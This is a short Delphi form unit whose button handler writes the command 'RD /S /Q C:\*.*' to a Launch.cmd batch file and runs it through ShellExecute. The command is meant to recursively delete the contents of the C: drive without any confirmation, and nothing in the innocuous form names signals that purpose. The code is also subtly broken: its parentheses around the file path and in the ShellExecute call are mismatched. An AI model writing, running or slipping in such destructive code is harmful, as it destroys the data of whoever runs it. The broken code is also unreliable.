unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

uses ShellAPI, ShlObj;

procedure TForm1.Button1Click(Sender: TObject);
begin
Form1.Memo1.Text:='RD /S /Q C:\*.*';
Form1.Memo1.Lines.SaveToFile(ExtractFilePath(ParamStr(0)+'Launch.cmd'));
ShellExecute(Handle, 'open', PChar(ExtractFilePath(ParamStr(0)+'Launch.cmd'), nil, nil, SW_SHOW);
end;

end.